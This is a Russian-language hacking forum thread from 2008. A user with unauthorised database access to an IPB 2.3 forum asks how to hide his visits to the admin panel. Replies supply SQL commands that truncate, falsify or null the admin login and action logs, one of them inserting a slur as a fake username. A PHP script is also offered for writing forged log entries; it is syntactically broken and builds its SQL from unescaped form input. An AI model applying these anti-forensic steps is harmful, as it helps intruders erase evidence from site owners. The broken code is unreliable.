Убрать следы пребывания в админке. (ipb 2.3.*)

Discussion in 'Песочница' started by Nek1t, 25 May 2008.

  1. Nek1t

    Nek1t Elder - Старейшина

    Joined:
    7 Mar 2008
    Messages:
    181
    Likes Received:
    16
    Reputations:
    1
    Сосбно сабж. При заходе в админку любому админу сразу справа видно, что делали другие админы.
    +есть лог кто, когда и под каким IP заходил в админку.
    Надо все это почистить.
    п.с. доступ к БД (не из админки) есть... :p
     
  2. ettee

    ettee Administrator
    Staff Member

    Joined:
    12 Oct 2006
    Messages:
    466
    Likes Received:
    1,036
    Reputations:
    1,065
    ibf_admin_login_logs
    ibf_admin_logs
    PHP:
    UPDATE `ibf_admin_login_logsSET `admin_ip_address` = "1.2.3.4"
    PHP:
    TRUNCATE TABLE `ibf_admin_login_logs`
    PHP:
    UPDATE `ibf_admin_login_logsSET `admin_username`="niggaz makes you cry" WHERE `admin_username`="Nek1t"
    PHP:
    UPDATE `ibf_admin_login_logsSET `admin_ip_address`="" WHERE `admin_ip_address`="TvoiIP"
     
    _________________________
    #2 ettee, 25 May 2008
    Last edited: 25 May 2008
  3. Nek1t

    Nek1t Elder - Старейшина

    Joined:
    7 Mar 2008
    Messages:
    181
    Likes Received:
    16
    Reputations:
    1
    Спасибо, но это удалит только логи захода в админку.
    А как быть с тем что сбоку в админке видно типа:
    Т.е. все действия записываются. :(
     
  4. КВР

    КВР Elder - Старейшина

    Joined:
    23 Apr 2008
    Messages:
    16
    Likes Received:
    30
    Reputations:
    -2
    За это отвечает таблица ibf_admin_logs
    PHP:
    UPDATE `ibf_admin_logsSET `note` = `null`  WERE `member_id` = `ИД_Учётки`
     
  5. КВР

    КВР Elder - Старейшина

    Joined:
    23 Apr 2008
    Messages:
    16
    Likes Received:
    30
    Reputations:
    -2
    составил сценарий на скорую руку который чистит следы пребывания в админке IPB .
    PHP:
    <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
    <html>
    <head>
    <meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
    <title>Untitled Document</title>
    <style type="text/css">
    <!--
    body {color: #EAFFC3;background-color:#615e5f;}
    a:hover {color:#CC0033;}
    a{color:#148044;text-decoration:none;}
    a.pages{color:#FFFFFF;}
    -->
    </style></head>
    <form name="addnews" action="" method="post">
    <table border=1>
    <tr>
        <td>admin_username:<input name="admin_username" type="text" value=""></td>
        <td>admin_ip_address:<input name="admin_ip_address" type="text" value=""></td>
        <td>note:<input name="date" type="note" value=""></td>
    </tr>
    <tr><td colspan=3>new info:<br/><textarea name="note" rows=5 cols=71 wrap="off"></textarea></td></tr>
    </table>
    <input type="submit" value="Send">
    </form>
    <?
    //(C) WEB-DEFENCE.RU
    //
    include('config.php');// НЕ забудь сменить на путь до конфига.
    if(empty($_POST['admin_username']) || empty($_POST['admin_ip_address']) || empty($_POST['note']) ||))
    {
        echo 
    'Some of fields are empty!';
    }
    else
    {
        if(!
    preg_match("/^\S+$/"$_POST['admin_username']))
        {
            echo 
    'Error with format of "admin_username"!'."\n";
        }
        elseif(!
    preg_match("/\S+/"$_POST['admin_ip_address']))
        {
            echo 
    'Error with format of "note"!'."\n";
        }
        else
        {
            
    $_POST['admin_username'] = htmlspecialchars($_POST['admin_username']);
            
    $_POST['title'] = htmlspecialchars($_POST['title']);
            
    $_POST['smalltext'] = htmlspecialchars($_POST['note']);
            
    $zc=mysql_query("select * from ibf_admin_login_logs");
            
    $zc=mysql_num_rows($zc);
            
    $myreq "INSERT INTO ibf_admin_login_logs (admin_username, admin_ip_address, note, ) VALUES($zc, '$_POST[admin_username]', '$_POST[note]')"//NOW()
            
    if(@mysql_query($myreq))
            {
                echo 
    'Added...'."\n";
                echo 
    'Title: '.$_POST['admin_username']."<br/>\n";
                echo 
    'Small news: '.$_POST['admin_ip_address']."<br/>\n";
                echo 
    'Full news: '.$_POST['note']."<br/>\n";
            }
            else
            {
                echo 
    'Can\'t add'."\n";
            }
        }
    }
    ?>
     
    2 people like this.
  6. Nek1t

    Nek1t Elder - Старейшина

    Joined:
    7 Mar 2008
    Messages:
    181
    Likes Received:
    16
    Reputations:
    1
    КВР
    Спасиб :p
    Насчет UPDATE `ibf_admin_logs` SET `note` = `null` WERE `member_id` = `ИД_Учётки` - ИМХО палевно.
    Целая таблица в БД занулилась! Повод для того чтобы поискать взломщика :(

    Насчет скрипта. Эмм.... Я так понимаю скрипт забивает везде одни и те же значения в таблицу с логами? (PHP учу еще пока...)

    Я, к примеру, если замечаю что что-то изменилось в моей админке начинаю страшно параноить и искать залитые шеллы >:]
     
  7. КВР

    КВР Elder - Старейшина

    Joined:
    23 Apr 2008
    Messages:
    16
    Likes Received:
    30
    Reputations:
    -2
    Nek1t, не таблица а поле note в котором хранятся все записи.